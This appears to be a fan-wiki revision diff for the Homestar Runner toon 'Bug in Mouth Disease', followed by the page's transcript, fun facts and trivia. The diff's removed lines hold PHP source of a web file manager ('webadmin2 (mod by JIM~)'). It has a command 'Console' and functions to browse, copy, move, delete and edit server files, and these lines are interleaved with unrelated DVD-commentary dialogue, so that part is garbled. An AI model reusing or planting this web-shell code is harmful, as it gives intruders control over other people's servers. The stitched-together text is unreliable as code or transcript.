</form><form action="<?php echo($self); ?>" method="GET">
+
-
Console
+
-
<input type="text" name="jimx"> <input type="submit" value="Execute"></form>
+
-
</td></tr><tr><td bgcolor="#EEEEEE">
+
-
            <form action="<?php echo($self); ?>" method="get">
+
-
            <input type="hidden" name="dir" value="<?php echo(htmlentities($_SESSION['dir'])); ?>">
+
-
            <input type="hidden" name="id" value="<?php echo(session_id()); ?>">
+
-
<?php if (isset($_REQUEST['frame'])) { ?>
+
-
            <input type="hidden" name="frame" value="<?php echo($_REQUEST['frame']); ?>">
+
-
<?php } ?>
+
-
            <table border="0" cellspacing="0" cellpadding="0">
+
-
            <tr>
+
-
                <td>
+
-
                    <select name="type" size="1">
+
-
                    <option value="file"><?php echo($words['file']); ?>
+
-
                    <option value="dir" selected><?php echo($words['dir']); ?>
+
'''MIKE:''' I think I know.
-
                    </select>&nbsp;
+
'''MATT:''' Yeah. ''{pause}'' Remember that{{--}} there was some game you played on your fingers about who shot J.R.? Like it was this thing that was like, "Who shot J.R.?" and then you, like, made your pinky go away. Then you said, "Who shot J.R.?" and then your ring finger went away. And then it ended up making a gun, and{{--}} and you said, "It was me!" ''{makes a sound of a shot}'' I remember, uh... Brandon, that lived in the cul-de-sac behind ours doing that. To me.
-
                </td>
+
-
                <td><input type="text" name="create">&nbsp;</td>
+
-
                <td><input type="submit" value="<?php echo($words['create']); ?>"></td>
+
-
            </tr>
+
-
            </table>
+
-
        </td>
+
-
    </tr>
+
-
    </table>
+
-
    </td></tr></table>
+
-
    </form>
+
-
<?php
+
-
    }
+
-
    if (empty($_GET['sort'])) $sort = 'filename'; else $sort = $_GET['sort'];
+
-
    $reverse = @$_GET['reverse'];
+
-
    $GLOBALS['showsize'] = FALSE;
+
-
    if ($files = dirtoarray($_SESSION['dir'])) {
+
-
        $files = sortfiles($files, $sort, $reverse);
+
-
        outputdirlisting($_SESSION['dir'], $files, $inaframe, $sort, $reverse);
+
-
    } else {
+
-
        perror(buildphrase('&quot;<b>' . htmlentities($_SESSION['dir']) . '</b>&quot', $words['readingerror']));
+
-
    }
+
-
    if ($inaframe) {
+
-
        pnotice("<a href=\"$self?action=treeoff&" . SID . '" target="_top">' . $words['treeoff'] . '</a>');
+
-
    } else {
+
-
        pnotice("<a href=\"$self?action=treeon&" . SID . '" target="_top">' . $words['treeon'] . '</a>');
+
-
    }
+
-
    html_footer(FALSE);
+
-
    return;
+
-
}
+
-
function dirtoarray ($dir) {
+
'''MIKE:''' Sounds hilarious!
-
    if ($dirstream = @opendir($dir)) {
+
-
        for ($n = 0; ($filename = readdir($dirstream)) !== FALSE; $n++) {
+
-
            $stat = @lstat($dir . $filename);
+
-
            $files[$n]['filename']    = $filename;
+
-
            $files[$n]['fullfilename'] = $fullfilename = relpathtoabspath($filename, $dir);
+
-
            $files[$n]['is_file']      = @is_file($fullfilename);
+
-
            $files[$n]['is_dir']      = @is_dir($fullfilename);
+
-
            $files[$n]['is_link']      = $islink = @is_link($dir . $filename);
+
-
            if ($islink) {
+
-
                $files[$n]['readlink'] = @readlink($dir . $filename);
+
-
                $files[$n]['linkinfo'] = linkinfo($dir . $filename);
+
-
            }
+
-
            $files[$n]['is_readable']  = @is_readable($fullfilename);
+
-
            $files[$n]['is_writable']  = @is_writable($fullfilename);
+
-
            $files[$n]['is_executable'] = @is_executable($fullfilename);
+
-
            $files[$n]['permission']    = $islink ? 'lrwxrwxrwx' : octtostr(@fileperms($dir . $filename));
+
-
            if (substr($files[$n]['permission'], 0, 1) != '-') {
+
-
                $files[$n]['size'] = -1;
+
-
            } else {
+
-
                $files[$n]['size'] = @$stat['size'];
+
-
                $GLOBALS['showsize'] = TRUE;
+
-
            }
+
-
            $files[$n]['owner']        = $owner = @$stat['uid'];
+
-
            $files[$n]['group']        = $group = @$stat['gid'];
+
-
            $files[$n]['ownername']    = @reset(posix_getpwuid($owner));
+
-
            $files[$n]['groupname']    = @reset(posix_getgrgid($group));
+
-
        }
+
-
        closedir($dirstream);
+
-
        return $files;
+
-
    } else {
+
-
        return FALSE;
+
-
    }
+
-
}
+
-
function outputdirlisting ($dir, $files, $inaframe, $sort, $reverse) {
+
'''MATT:''' It was great! And he had a dog named Dude.
-
    global $self, $words;
+
-
    $uid = posix_getuid();
+
-
?>
+
-
    <p>
+
-
    <table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888">
+
-
    <table border="0" cellspacing="1" cellpadding="4">
+
-
<?php
+
-
    if ($inaframe) $p = '&notreeupdate=TRUE&'; $p = ''; $p .= SID . '&dir=' . urlencode($dir);
+
-
    echo("    <tr>\n");
+
-
    echo("        <td bgcolor=\"#EEEEEE\"><img src=\"$self?imageid=16\" width=\"17\" height=\"13\"></td>\n");
+
-
    echo("        <td bgcolor=\"#EEEEEE\"><a href=\"$self?sort=filename&reverse=" . (($sort == 'filename') ? !$reverse : 0) . "&$p\"><b>{$words['filename']}</b></a></td>\n");
+
-
    if ($GLOBALS['showsize']) echo("        <td bgcolor=\"#EEEEEE\" align=\"right\"><a href=\"$self?sort=size&reverse=" . (($sort == 'size') ? !$reverse : 0) . "&$p\"><b>{$words['size']}</b></a></td>\n");
+
-
    echo("        <td bgcolor=\"#EEEEEE\"><a href=\"$self?sort=permission&reverse=" . (($sort == 'permission') ? !$reverse : 0) . "&$p\"><b>{$words['permission']}</b></a></td>\n");
+
-
    echo("        <td bgcolor=\"#EEEEEE\"><a href=\"$self?sort=owner&reverse=" . (($sort == 'owner') ? !$reverse : 0) . "&$p\"><b>{$words['owner']}</b></a></td>\n");
+
-
    echo("        <td bgcolor=\"#EEEEEE\"><a href=\"$self?sort=group&reverse=" . (($sort == 'group') ? !$reverse : 0) . "&$p\"><b>{$words['group']}</b></a></td>\n");
+
-
    echo("        <td bgcolor=\"#EEEEEE\"><b>{$words['functions']}</b></td>\n");
+
-
    echo("    </tr>\n");
+
-
    $p = '&' . SID;
+
-
    if ($GLOBALS['showsize']) $cspan = ' colspan="2"'; else $cspan = '';
+
-
    foreach ($files as $file) {
+
-
        echo("    <tr>\n");
+
-
        if ($file['is_link']) {
+
-
            echo("        <td bgcolor=\"#FFFFFF\" align=\"center\"><img src=\"$self?imageid=14\" width=\"17\" height=\"13\"></td>\n");
+
-
            echo("        <td$cspan bgcolor=\"#FFFFFF\">");
+
-
            if ($file['is_dir']) echo('[ ');
+
-
            echo($file['filename']);
+
-
            if ($file['is_dir']) echo(' ]');
+
-
            echo(' -&gt; ');
+
-
            if ($file['is_dir']) {
+
-
                echo('[ ');
+
-
                if ($file['is_readable']) echo("<a href=\"$self?dir=" . urlencode($file['readlink']) . "$p\">");
+
-
                echo(htmlentities($file['readlink']));
+
-
                if ($file['is_readable']) echo('</a>');
+
-
                echo(' ]');
+
-
            } else {
+
-
                if (dirname($file['readlink']) != '.') {
+
-
                    if ($file['is_readable']) echo("<a href=\"$self?dir=" . urlencode(dirname($file['readlink'])) . "$p\">");
+
-
                    echo(htmlentities(dirname($file['readlink'])) . '/');
+
-
                    if ($file['is_readable']) echo('</a>');
+
-
                }
+
-
                if (strlen(basename($file['readlink'])) != 0) {
+
-
                    if ($file['is_file'] && $file['is_readable']) echo("<a href=\"$self?show=" . urlencode($file['readlink']) . "$p\">");
+
-
                    echo(htmlentities(basename($file['readlink'])));
+
-
                    if ($file['is_file'] && $file['is_readable']) echo('</a>');
+
-
                }
+
-
                if ($file['is_file'] && is_script($file['readlink'])) echo(" <a href=\"$self?showh=" . urlencode($file['readlink']) . "$p\">*</a>");
+
-
            }
+
-
            echo("</td>\n");
+
-
        } elseif ($file['is_dir']) {
+
-
            echo("        <td bgcolor=\"#FFFFFF\" align=\"center\"><img src=\"$self?imageid=15\" width=\"17\" height=\"13\"></td>\n");
+
-
            echo("        <td$cspan bgcolor=\"#FFFFFF\">[ ");
+
-
            if ($file['is_readable']) echo("<a href=\"$self?dir=" . urlencode($file['fullfilename']) . "$p\">");
+
-
            echo(htmlentities($file['filename']));
+
-
            if ($file['is_readable']) echo('</a>');
+
-
            echo(" ]</td>\n");
+
-
        } else {
+
-
            echo("        <td bgcolor=\"#FFFFFF\" align=\"center\"><img src=\"$self?imageid=");
+
-
            if (substr($file['filename'], 0, 1) == '.') echo('13'); else echo('12');
+
-
            echo("\" width=\"17\" height=\"13\"></td>\n");
+
-
            echo('        <td');
+
-
            if (substr($file['permission'], 0, 1) != '-') echo($cspan);
+
-
            echo(' bgcolor="#FFFFFF">');
+
-
            if ($file['is_readable'] && $file['is_file']) echo("<a href=\"$self?show=" . urlencode($file['fullfilename']) . "$p\">");
+
-
            echo(htmlentities($file['filename']));
+
-
            if ($file['is_readable'] && $file['is_file']) echo('</a>');
+
-
            if ($file['is_file'] && is_script($file['filename'])) echo(" <a href=\"$self?showh=" . urlencode($file['fullfilename']) . "$p\">*</a>");
+
-
            echo("</td>\n");
+
-
            if ($GLOBALS['showsize'] && $file['is_file']) {
+
-
                echo("        <td bgcolor=\"#FFFFFF\" align=\"right\" nowrap>");
+
-
                if ($file['is_file']) echo("{$file['size']} B");
+
-
                echo("</td>\n");
+
-
            }
+
-
        }
+
-
        echo('        <td bgcolor="#FFFFFF" class="perm">');
+
-
        if ($uid == $file['owner'] && !$file['is_link']) echo("<a href=\"$self?permission=" . urlencode($file['fullfilename']) . "$p\">");
+
-
        echo($file['permission']);
+
-
        if ($uid == $file['owner'] && !$file['is_link']) echo('</a>');
+
-
        echo("</td>\n");
+
-
        $owner = ($file['ownername'] == NULL) ? $file['owner'] : $file['ownername'];
+
-
        $group = ($file['groupname'] == NULL) ? $file['group'] : $file['groupname'];
+
-
        echo('        <td bgcolor="#FFFFFF">' . $owner . "</td>\n");
+
-
        echo('        <td bgcolor="#FFFFFF">' . $group . "</td>\n");
+
-
        $f = "<a href=\"$self?symlinktarget=" . urlencode($dir . $file['filename']). "$p\">{$words['createsymlink']}</a> | ";;
+
-
        if ($file['filename'] != '.' && $file['filename'] != '..') {
+
-
            if ($file['is_readable'] && $file['is_file']) {
+
-
                $f .= "<a href=\"$self?cpy=" . urlencode($file['fullfilename']). "$p\">{$words['copy']}</a> | ";
+
-
            }
+
-
            if ($uid == $file['owner']) {
+
-
                $f .= "<a href=\"$self?move=" . urlencode($file['fullfilename']) . "$p\">{$words['move']}</a> | ";
+
-
                $f .= "<a href=\"$self?delete=" . urlencode($dir . $file['filename']). "$p\">{$words['delete']}</a> | ";
+
-
            }
+
-
            if ($file['is_writable'] && $file['is_file']) {
+
-
                $f .= "<a href=\"$self?edit=" . urlencode($file['fullfilename']) . "$p\">{$words['edit']}</a> | ";
+
-
            }
+
-
        }
+
-
        if ($file['is_dir'] && @is_file($file['fullfilename'] . '.htaccess') && @is_writable($file['fullfilename'] . '.htaccess')) {
+
-
            $f .= "<a href=\"$self?edit=" . urlencode($file['fullfilename']) . '.htaccess' . "$p\">{$words['configure']}</a> | ";
+
-
        }
+
-
        if (!empty($f)) $f = substr($f, 0, strlen($f) - 3); else $f = '&nbsp;';
+
-
        echo("        <td bgcolor=\"#FFFFFF\" nowrap>$f</td>\n");
+
-
        echo("    </tr>\n");
+
-
    }
+
-
?>
+
-
    </table>
+
-
    </td></tr></table>
+
-
    </p>
+
-
<?php
+
-
    return;
+
-
}
+
-
function sortfiles ($files, $sort, $reverse) {
+
'''MIKE:''' ''{laughing}'' He did. And I thought it was "dood" as in, "doody".
-
    $files = sortfield($files, $sort, $reverse, 0, sizeof($files) - 1);
+
-
    if ($sort != 'filename') {
+
-
        $old = $files[0][$sort]; $oldpos = 0;
+
-
        for ($i = 1; $i < sizeof($files); $i++) {
+
-
            if ($old != $files[$i][$sort]) {
+
-
                if ($oldpos != ($i - 1)) $files = sortfield($files, 'filename', false, $oldpos, $i - 1);
+
-
                $oldpos = $i;
+
-
            }
+
-
            $old = $files[$i][$sort];
+
-
        }
+
-
        if ($oldpos < ($i - 1)) $files = sortfield($files, 'filename', false, $oldpos, $i - 1);
+
-
    }
+
-
    return $files;
+
-
}
+
-
function octtostr ($mode) {
+
'''MATT:''' I dooed. I just dooed in the toilet.
-
    if    (($mode & 0xC000) === 0xC000) $type = 's'; /* Unix domain socket */
+
-
    elseif (($mode & 0x4000) === 0x4000) $type = 'd'; /* Directory */
+
-
    elseif (($mode & 0xA000) === 0xA000) $type = 'l'; /* Symbolic link */
+
-
    elseif (($mode & 0x8000) === 0x8000) $type = '-'; /* Regular file */
+
-
    elseif (($mode & 0x6000) === 0x6000) $type = 'b'; /* Block special file */
+
-
    elseif (($mode & 0x2000) === 0x2000) $type = 'c'; /* Character special file */
+
-
    elseif (($mode & 0x1000) === 0x1000) $type = 'p'; /* Named pipe */
+
-
    else                                $type = '?'; /* Unknown */
+
-
    $owner  = ($mode & 00400) ? 'r' : '-';
+
-
    $owner .= ($mode & 00200) ? 'w' : '-';
+
-
    if ($mode & 0x800) $owner .= ($mode & 00100) ? 's' : 'S'; else $owner .= ($mode & 00100) ? 'x' : '-';
+
-
    $group  = ($mode & 00040) ? 'r' : '-';
+
-
    $group .= ($mode & 00020) ? 'w' : '-';
+
-
    if ($mode & 0x400) $group .= ($mode & 00010) ? 's' : 'S'; else $group .= ($mode & 00010) ? 'x' : '-';
+
-
    $other  = ($mode & 00004) ? 'r' : '-';
+
-
    $other .= ($mode & 00002) ? 'w' : '-';
+
-
    if ($mode & 0x200) $other .= ($mode & 00001) ? 't' : 'T'; else $other .= ($mode & 00001) ? 'x' : '-';
+
-
    return $type . $owner . $group . $other;
+
-
}
+
-
function sortfield ($field, $column, $reverse, $left, $right){
+
'''MIKE:''' I always thought the dog's name was a bad{{--}} kind of a bad word.
-
    $g = $field[(int) (($left + $right) / 2)][$column];
+
-
    $l = $left; $r = $right;
+
-
    while ($l <= $r) {
+
-
        if ($reverse) {
+
-
            while (($l < $right) && ($field[$l][$column] > $g)) $l++;
+
-
            while (($r > $left)  && ($field[$r][$column] < $g)) $r--;
+
-
        } else {
+
-
            while (($l < $right) && ($field[$l][$column] < $g)) $l++;
+
-
            while (($r > $left)  && ($field[$r][$column] > $g)) $r--;
+
-
        }
+
-
        if ($l < $r) {
+
-
            $tmp = $field[$r];
+
-
            $field[$r] = $field[$l];
+
-
            $field[$l] = $tmp;
+
-
            $r--;
+
-
            $l++;
+
-
        } else {
+
-
            $l++;
+
-
        }
+
-
    }
+
-
    if ($r > $left) $field = sortfield($field, $column, $reverse, $left, $r);
+
-
    if ($r + 1 < $right) $field = sortfield($field, $column, $reverse, $r + 1, $right);
+
-
    return $field;
+
-
}
+
-
function buildphrase ($repl, $str) {
+
'''MATT:''' D-O-O-D.
-
    if (!is_array($repl)) $repl = array($repl);
+
-
    $newstr = ''; $prevz = ' ';
+
-
    for ($i = 0; $i < strlen($str); $i++) {
+
-
        $z = substr($str, $i, 1);
+
-
        if (((int) $z) > 0 && ((int) $z) <= count($repl) && $prevz == ' ') $newstr .= $repl[((int) $z) - 1]; else $newstr .= $z;
+
-
        $prevz = $z;
+
-
    }
+
-
    return $newstr;
+
-
}
+
-
function html_header ($action) {
+
'''MIKE:''' Yeah.
-
    global $self;
+
-
    global $error, $notice, $updatetreeview;
+
-
?>
+
-
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
+
-
<html>
+
-
<head>
+
-
    <title>webadmin2 (mod by JIM~) <?php echo("$self - $action"); ?></title>
+
-
    <style type="text/css">
+
-
    <!--
+
-
        td { font-family: sans-serif; font-size: 10pt; }
+
-
        a:link, a:visited, a:active { text-decoration: none; color: #000088; }
+
-
        a:hover { text-decoration: underline; color: #000088; }
+
-
        .perm { font-family: monospace; font-size: 10pt; }
+
-
    -->
+
-
    </style>
+
-
<?php
+
-
    if (isset($_REQUEST['edit']) && !isset($_POST['save']) && basename($edit = $_REQUEST['edit']) == '.htaccess') {
+
-
        $file = dirname($edit) . '/.htpasswd';
+
-
?>
+
-
    <script type="text/javascript" language="JavaScript">
+
-
    <!--
+
-
    function autheinf () {
+
-
        document.f.content.value += "Authtype Basic\nAuthName \"Restricted Directory\"\n";
+
-
        document.f.content.value += "AuthUserFile <?php echo(htmlentities($file)); ?>\n";
+
-
        document.f.content.value += "Require valid-user";
+
-
    }
+
-
    //-->
+
-
    </script>
+
-
<?php
+
-
    }
+
-
?>
+
-
</head>
+
-
<body bgcolor="#FFFFFF"<?php if ($updatetreeview && !empty($_SESSION['tree'])) echo(" onLoad=\"void(parent.treeview.location.replace('$self?frame=treeview&dir=" . urlencode($_SESSION['dir']) . '&' . SID . '&pmru=' . time() . '#' . urlencode($_SESSION['dir']) . "'))\""); ?>>
+
-
<?php
+
-
    if (!empty($error)) perror($error);
+
-
    if (!empty($notice)) pnotice($notice);
+
-
    return;
+
-
}
+
-
function html_footer ($backbutton = TRUE) {
+
''{pause}''
-
    global $self, $words;
+
-
    if ($backbutton) {
+
-
?>
+
-
    <p>
+
-
    <table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888">
+
-
    <table border="0" cellspacing="1" cellpadding="4"><tr><td bgcolor="#EEEEEE">
+
-
    <a href="<?php echo("$self?id=". $_REQUEST['id']); ?>"><?php echo($words['back']); ?></a>
+
-
    </td></tr></table>
+
-
    </td></tr></table>
+
-
    </p>
+
-
<?php
+
-
    }
+
-
?>
+
-
</body>
+
-
</html>
+
-
<?php
+
-
    return;
+
-
}
+
-
function perror ($str) {
+
'''MATT:''' ''{seeing Homestar on the TV}'' Look, that's our office!
-
?>
+
-
    <p>
+
-
    <table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888">
+
-
    <table border="0" cellspacing="1" cellpadding="4"><tr><td bgcolor="#FFCCCC">
+
-
    <?php echo("$str\n"); ?>
+
-
    </td></tr></table>
+
-
    </td></tr></table>
+
-
    </p>
+
-
<?php
+
-
    return;
+
-
}
+
-
function pnotice ($str) {
+
'''MIKE:''' Uh-huh.
-
?>
+
 
-
    <p>
+
''{pause}''
-
    <table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888">
+
 
-
    <table border="0" cellspacing="1" cellpadding="4"><tr><td bgcolor="#CCFFCC">
+
'''MATT:''' I like the little dotted line that trails from that little guy.
-
    <?php echo("$str\n"); ?>
+
 
-
    </td></tr></table>
+
'''MIKE:''' Lemme guess, you made it.
-
    </td></tr></table>
+
 
-
    </p>
+
'''MATT:''' No.
-
<?php
+
 
-
    return;
+
'''MIKE:''' You did that.
-
}
+
 
 +
'''MATT:''' I thought you did.
 +
 
 +
'''MIKE:''' Nah, I think you did.
 +
 
 +
'''MATT:''' Oh. I'll quit complimenting the things that I made.
 +
 
 +
'''MIKE:''' ''{laughs}'' I don't like the way the blue ones look and I know I made those very late in the game, and just wanted the cartoon to be done.
 +
 
 +
'''MATT:''' It's okay. Bye, everybody!
 +
 
 +
'''MIKE:''' Bye, Matt!
 +
 
 +
===Fun Facts===
 +
 
 +
*''{{w|Arthur (1981 film)|Arthur}}'' is a 1981 movie starring [https://www.imdb.com/name/nm0001545 Dudley Moore].
 +
*Homestar Runner has never called the King of Town "Father Christmas"; however, in [[A Decemberween Pageant]], Homestar ''played'' the King of Town, and Bubs played [[Dr. Christmas]] (which the King of Town ''almost'' played).
 +
*{{wp|Method acting}} is an acting technique developed by {{wp|Lee Strasberg}} in the 1940s.
 +
*{{wp|Infoseek}}, {{wp|AltaVista}}, and {{wp|HotBot}} were {{wp|search engine}}s popular in the '90s.
 +
*The Brothers Chaps' referring to Strong Sad's soft-serve flip is a reference to [[keep cool]].
 +
 
 +
==External Links==
 +
{{nextlinks|toons/bug-in-mouth-disease|3174|old=buginmouth|youtube=ERfPA8HJ9jo}}
-
?>
+
[[Category:Big Toons]][[Category:DVD Commentary]] [[Category:Homestar Runner Original Soundtrack Volume 1]] [[Category: Homestar Runner Original Soundtrack Volume 2]]

Current revision as of 18:06, 31 January 2025

Toon Category: Big Toon
watch Shopping For Danger Cool Things
"Pom Pom! Santa! You gotta help me!"

Homestar swallows a bug and fears the end of the good times while Strong Bad is taped to the TV and Strong Sad searches for "the blue ones".

Cast (in order of appearance): Strong Sad, Strong Bad, Homestar Runner, The King of Town, Pom Pom, Bubs, The Bug

Places: Basement of the Brothers Strong, The Field, Bubs' Concession Stand

Date: Monday, May 9, 2005

Running Time: 5:10

Page Title: Don't...kill...bugs.

DVD: Everything Else, Volume 2

Contents

[edit] Transcript

{The Telebision displays a test pattern, with the text "This cartoon is called:". A static blip replaces the text with "Bug in Mouth Disease".}

{In the basement, Strong Sad is watching TV.}

VOICE: {from TV} And that's why come Shakespeare was so awesome.

STRONG SAD: Oh! I see now.

{Strong Bad enters.}

STRONG BAD: Hey, Dairy Queen.

STRONG SAD: I already told you, I don't want to be called that any more! I made a mistake!

STRONG BAD: Oh; sorry, Dairy Queen. Anyways, look. I just thought you should know that all your underwears somehow ended up individually priced and labeled in an online auction.

STRONG SAD: {gets up, runs out of the room} Nobody buy the blue ones!

STRONG BAD: That was too easy. Now to settle down for the 24-hour Caleb Rentpayer marathon! {changes channel}

TUXWORTH: Caleb, were you making a little tent out of my jacket?

CALEB: I am now!

STRONG BAD: Yeah, you make that little tent, Caleb! He's not the boss of you!

{Cut to the field. Homestar is running along. Cue music beat.}

HOMESTAR RUNNER: {singing approximately to the tune of the Homestar Runner Theme Song} Hooomestaaar is running. Along. {drifting out of time with the music} Hooomestaaa—

{A record scratches as he suddenly stops and starts coughing/spitting profusely.}

HOMESTAR RUNNER: Agh! I swallowed a bug! Bug swallow! Bug swallow! What do I do? What do I do? {composes himself} Okay, okay, calm down. Calm... down. Remember health class. A-hem.

{Homestar goes down on one knee.}

HOMESTAR RUNNER: {slowly and deliberately} Sir or madam, are you all right? Do you need medical resistance? {anguished} Oh, it's not working! The good times are over! {runs off}

{The music starts up again and cut to another part of the field, where the King of Town and Pom Pom are eating ice cream bars.}

THE KING OF TOWN: I keep telling him the sun don't rise and set on that pile of whatsit, but he don't want to listen!

{Homestar runs in.}

POM POM: {bubbling noises}

HOMESTAR RUNNER: Pom Pom! Santa! I think I swallowed a bug!

{He kneels down in front of the King of Town.}

HOMESTAR RUNNER: The good times are over! You gotta help me out! I could die!

THE KING OF TOWN: Well, what do you want we should do?

HOMESTAR RUNNER: Gimme them dang ice creams! {grabs the ice cream bars} We'll freeze 'im out! {quickly eats them}

THE KING OF TOWN: Doo! That stuff's prescription!

HOMESTAR RUNNER: {sobs} Oh-ho-ho, it deliciously didn't work!

{While saying this, he pokes Pom Pom with the one of the leftover sticks. Pom Pom narrows his eyes at Homestar, annoyed.}

HOMESTAR RUNNER: Agh! {runs off}

{Cut to the basement, where Strong Bad is still watching TV.}

CALEB: You throw like a girl, Tuxworth.

TUXWORTH: Caleb, that suitcase was heavy!

{Strong Sad enters.}

STRONG SAD: What online auction? I can't find anything. I even did an image search for "the blue ones" and got nothing. Or... nothing pleasant, anyway.

STRONG BAD: Well, keep searching. Try putting stuff in quotes or something. Or use "and" and "or". Oh, yeah, "and" go away.

STRONG SAD: {smiles} Oh, Boolean operators! "Blue and ones"! Good idea! {walks off}

{Cut to Bubs' concession stand. Bubs is burning an envelope labeled "EXHIBIT A" with a lighter.}

BUBS: This is just fine!

{Homestar runs in. Bubs drops the lighter and throws away the envelope.}

HOMESTAR RUNNER: Bubs, you're a doctor, right? I think a bug flew into the side of my mouth. I'm afraid the good times are over!

BUBS: A doctor, eh? I think I might be one of those. Let me take a look. {examines a wad of his business cards} Whadda we got here? Bail bondsman, paranormal investigator, normal investigator... Oh, here we go! "Dr." Bubs! Let's take a look atcha.

HOMESTAR RUNNER: Aaaaah. {opens mouth}

BUBS: Hmm… {peers inside} Okay...

HOMESTAR RUNNER: {gurgles "Okay..."}

BUBS: Yes, yes.

HOMESTAR RUNNER: {gurgles "Yes, yes."}

BUBS: Interesting.

HOMESTAR RUNNER: {gurgles "Is it good?"}

BUBS: I've got terrible, terrible news, Homestar.

HOMESTAR RUNNER: Oh, no! Is it about the good times?

BUBS: I'm afraid you've got no pancreas.

{Homestar looks annoyed}

BUBS: But I do happen to have a fresh one for sale right here!

{Bubs picks up a cooler (brand named 'coola') labeled "EXHIBIT B" and places it on the counter}

HOMESTAR RUNNER: Bubs, are you an unethical quack?

BUBS: The most quackinest!

{Homestar looks surprised.}

{Cut to the basement, where Strong Bad is watching TV with a fork in his hand and a skillet in his lap.}

STRONG BAD: {imitating Tuxworth} Strong Caleb, did you make the best omelette ever during the commercial break? {imitating Caleb} I sure did.

{Homestar runs in.}

HOMESTAR RUNNER: Strong Bad! I think I—

STRONG BAD: {silencing him} Ah-ah-ah! Not today, McDorkle.

{Homestar leaves and then jumps in from the other side.}

HOMESTAR RUNNER: Strong Bad! I think a bug might have—

STRONG BAD: Can't you see Grandma's watching her stories?

{Homestar leaves.}

TUXWORTH: Why aren't you breathing, Caleb?

{Homestar pops up from behind the couch.}

HOMESTAR RUNNER: Strong Bad—

{Without missing a beat, continuing to watch, Strong Bad hits him in the face with his skillet.}

HOMESTAR RUNNER: Ugh. {falls down}

ANNOUNCER: And coming up next on Caleb Rentpayer, find out who shot Caleb.

STRONG BAD: "Who shot Caleb?" Oh, there's no way I'm missing that one. No way.

{Fade to black. Some time later, Homestar emerges from behind the couch. The couch is empty.}

HOMESTAR RUNNER: {yawns and smacks his lips} That was a great skillet-nap! Thanks, Strong Bad. Strong Bad?

{Cut to the TV, where Strong Bad has duct-taped himself to the screen.}

STRONG BAD: {somewhat muffled} Can't... miss... any of... the action!

HOMESTAR RUNNER: Strong Bad, the good times are over! I swallowed your computer!

STRONG BAD: You what?! {tears his head from the TV}

{TV music stops.}

HOMESTAR RUNNER: Oh, I mean a small bug. I swallowed a small bug.

STRONG BAD: {dejected} Aw. Now my head's not taped to the TV.

HOMESTAR RUNNER: Strong Bad, I really need your help.

STRONG BAD: And I really need to find out who shot Caleb Rentpayer!

HOMESTAR RUNNER: Oh, that's easy. I did.

STRONG BAD: You-ka— w-wha?

TUXWORTH: Homestar Runner... {Homestar smiles} ...did you shoot Caleb?

{Homestar appears on the TV, wearing the sunglasses he wore in the bet.}

HOMESTAR RUNNER: I sure did.

STRONG BAD: You traitor! You shot my favorite TV show! {throws the remote at Homestar's face}

HOMESTAR RUNNER: Hiccup. {the bug flies out of his mouth} Hey, look at that! A little guy. A bug did fly in my mouth!

STRONG BAD: Ugh... the good times are definitely over.

{Strong Sad runs in, wearing a blue pair of boxer shorts. Strong Bad opens his mouth in surprise. Homestar looks over, but doesn't look a bit suprised.}

STRONG SAD: The world is saved! I found the blue ooooones!

{The bug flies across the screen as the toon ends}

[edit] Fun Facts

[edit] Explanations

  • Boolean operators are a type of a conjunction — many search engines and functions will use "AND", "OR", and "NOT" (or similar operators) in a search input to refine the results shown, allowing a savvy searcher to better find results they are looking for.
  • Enclosing a multi-word search term inside of "quotation marks" will, in most search engines, only return results for the exact wording of the quoted phrase rather than the individual words in any order.
  • The pancreas is an organ that makes up part of the digestive system. It functions to regulate blood sugar and helps break down and digest food.
  • A bail bondsman is a person who posts bail in exchange for a fee, usually 10 percent of the total bail.
  • A "quack" is a fraudulent or ignorant individual person who pretends to be a physician and dispenses medical advice and treatment.
  • The title of the toon is based on foot-and-mouth disease, a disease that affects cattle.
  • The colors on the TV at the beginning of the toon are based on the SMPTE color bars, a test pattern commonly used by television broadcast stations when nothing is on the air.

[edit] Trivia

    Bubs
Bail Bondsman,
Extraordinaire

pager: 555-7896
beeper: 555-3421
          BUBS
       PARANORMAL
      INVESTIGATOR

EEEEEMAIL: BUBS@BUBS.BUBS
           Bubs
          Normal
       Investigator

    "Not Associated with
Bubs: Paranaormal Investigator!!"
        "Dr." Bubs

VCR Repair/Fashion Consultant
  • Bubs's email address here is bubs@bubs.bubs, but it was bubs@homestarrunner.com in unused emails.
  • "The good times are over!" has been Quote of the Week twice, though the second time was for only one day.
  • The YouTube description for this toon is "The good times might be over as Homestar suffers from bug-swallow while Strong Bad catches up on his Caleb Rentpayer stories. Original publish date: May 9, 2005".

[edit] Remarks

  • Strong Sad has underwear even though he said he "doesn't really wear clothes" in his blog.
  • The telephone numbers on Bubs's business cards have the prefix 555, which is commonly used for fictional numbers in North American movies and television.
  • If the cartoon is played frame-by-frame, it shows that no bug or fly ever enters Homestar's mouth.
  • Strong Bad claims to have placed Strong Sad's underwear in an online auction despite the fact that most major online auction sites prohibit selling used underwear. An example is the eBay® used clothing policy.
  • Part of the Caleb Rentpayer episode (where Caleb says that Tuxworth "throws like a girl") breaks the show's usual format. Whereas a standard episode would usually have Tuxworth asking Caleb if he did/ate/took something and Caleb defiantly stating "I sure am/did", this portion has Caleb speak first. Of course, he's still mean and insulting to Tuxworth.
  • This is the first Big Toon since The Reddest Radish not to include opening credits.
  • When Homestar turns around remembering health class, the shadow of the bushes changes.

[edit] Goofs

  • When Strong Bad sits on the couch in the first scene, his left eye is slightly mispositioned.
  • When Strong Sad turns around in front of the couch after talking about Boolean operators, his leg appears behind the remote that is on the couch.
  • Bubs's "Normal Investigator" card misspells "paranormal" as "paranaormal".
  • When Strong Bad is duct taped to the TV, there are five pieces of tape. After he turns around, there are only four.
  • In the frame in which Strong Bad's head is turned to the right while looking backwards at Homestar, the grey section is visible on both ends of the tape, but the silver, sticky side is the one which should be showing on the end between Strong Bad's head and the TV.

[edit] Inside References

[edit] Real-World References

The screen for "Who Shot Caleb?", with video games labeled.
  • The page title "Don't...kill...bugs." is a reference to the Bob & Doug McKenzie "Elron McKenzie" sketch, where Doug plays a preacher giving a sermon on the importance of not killing bugs.
  • The "Who shot Caleb?" episode is a reference to the often-parodied shooting of J.R. Ewing on Dallas.
  • Homestar overreacting over swallowing a bug is similar to a Seinfeld episode, in which George did the same thing.
